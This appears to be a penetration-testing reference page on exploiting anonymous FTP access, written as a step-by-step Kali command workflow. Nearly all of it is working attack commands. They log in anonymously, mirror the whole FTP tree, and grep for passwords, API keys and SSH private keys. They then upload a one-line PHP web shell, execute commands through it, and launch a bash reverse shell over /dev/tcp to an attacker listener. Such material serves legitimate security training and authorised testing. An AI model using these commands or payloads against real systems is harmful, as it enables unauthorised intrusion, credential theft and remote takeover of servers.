Skip to content

FTP Anonymous Login Exploitation

3 min read Created Mar 16, 2026 Last updated Aug 11, 2026

Anonymous FTP access confirmed by FTP Anonymous Access Check gives unauthenticated read or write access to the FTP file tree. The impact depends on what is stored there and whether writable paths overlap with a web server root.

  • Recursive download mirror the entire FTP root with wget or lftp for offline credential and config searches.
  • Credential hunting grep downloaded content for passwords, API keys, SSH private keys, and .env files.
  • Write access exploitation upload a PHP or ASPX web shell if writable paths overlap with the web server root.
  • Reverse shell trigger the uploaded shell over HTTP and catch the connection with netcat.

Connect Anonymously

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT

Username: anonymous Password: any string or blank

┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous ftp://$TARGET_IP:$PORT/

Download All Files Recursively

Use wget to mirror the entire FTP root in one command:

┌──(kali㉿kali)-[~]
└─$ wget -r --no-passive ftp://anonymous:anonymous@$TARGET_IP:$PORT/

-r enables recursive download. --no-passive forces active mode, which works better on some targets. The downloaded content lands in a directory named after the target IP.

With curl for a single file:

┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous ftp://$TARGET_IP:$PORT/path/to/file.txt -o file.txt

What to Look For in Downloaded Files

After pulling everything down, search for credential material:

┌──(kali㉿kali)-[~]
└─$ grep -r -i 'password\|passwd\|secret\|api_key\|token\|connectionstring' ./ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find . -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.env" -o -name "*.xml" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find . -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

Configuration files, credential files, SSH private keys, and database connection strings in the FTP root are all immediately useful for lateral movement or privilege escalation.

Upload a File

If write access is confirmed:

┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous -T /tmp/payload.txt ftp://$TARGET_IP:$PORT/uploads/payload.txt
put /tmp/payload.txt

Web Shell Upload via Anonymous FTP

If the writable directory is also served by a web server, upload a PHP web shell and trigger it over HTTP:

┌──(kali㉿kali)-[~]
└─$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous -T /tmp/shell.php ftp://$TARGET_IP:$PORT/uploads/shell.php

Confirm the shell is accessible:

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/uploads/shell.php?cmd=id"

Expected output: uid=33(www-data) gid=33(www-data)

If execution is confirmed, upgrade to a reverse shell. Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Trigger the reverse shell:

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/uploads/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

The full web shell upload workflow is covered in FTP Web Shell Upload.

Using lftp for Faster Transfers

lftp handles anonymous FTP and supports mirror operations more reliably than wget on some targets:

┌──(kali㉿kali)-[~]
└─$ lftp -u anonymous, ftp://$TARGET_IP:$PORT

Inside lftp:

ftp > mirror --continue --parallel=5 / /tmp/ftp_loot/

This downloads the entire FTP tree to /tmp/ftp_loot/ using five parallel connections.

References